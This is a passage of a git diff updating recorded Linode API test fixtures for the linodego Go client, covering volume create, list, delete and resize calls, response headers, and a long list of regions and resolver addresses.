interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -118,7 +313,7 @@ interactions: url: https://api.linode.com/v4beta/volumes method: POST response: - body: '{"id": 566471, "status": "creating", "label": "go-vol-test-def", "created": + body: '{"id": 4210932, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -135,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "317" + - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -156,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "100" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -177,27 +379,11 @@ interactions: url: https://api.linode.com/v4beta/volumes method: GET response: - body: '{"data": [{"id": 267442, "status": "offline", "label": "tf_test-7708312883518347230", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": - "/dev/disk/by-id/scsi-0Linode_Volume_tf_test-7708312883518347230", "size": 20, - "linode_id": null, "linode_label": null, "region": "us-southeast", "tags": [], - "hardware_type": "nvme"}, {"id": 271109, "status": "offline", "label": "linodego-test-volume", + body: '{"data": [{"id": 4210932, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": - "/dev/disk/by-id/scsi-0Linode_Volume_linodego-test-volume", "size": 20, "linode_id": - null, "linode_label": null, "region": "us-west", "tags": [], "hardware_type": - "hdd"}, {"id": 299657, "status": "offline", "label": "tf_test-2637196695129364155", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": - "/dev/disk/by-id/scsi-0Linode_Volume_tf_test-2637196695129364155", "size": 10, - "linode_id": null, "linode_label": null, "region": "us-east", "tags": [], "hardware_type": - "nvme"}, {"id": 388103, "status": "offline", "label": "cool-cloned", "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": - "/dev/disk/by-id/scsi-0Linode_Volume_cool-cloned", "size": 20, "linode_id": - null, "linode_label": null, "region": "us-southeast", "tags": [], "hardware_type": - "nvme"}, {"id": 566471, "status": "creating", "label": "go-vol-test-def", "created": - "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": - "nvme"}], "page": 1, "pages": 1, "results": 5}' + "nvme"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -210,14 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "367" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -231,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -249,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566471 + url: https://api.linode.com/v4beta/volumes/4210932 method: DELETE response: body: '{}' @@ -265,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:41 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -286,9 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_Resize.yaml b/test/integration/fixtures/TestVolume_Resize.yaml index a6a7650c6..daa979359 100644 --- a/test/integration/fixtures/TestVolume_Resize.yaml +++ b/test/integration/fixtures/TestVolume_Resize.yaml @@ -14,56 +14,244 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 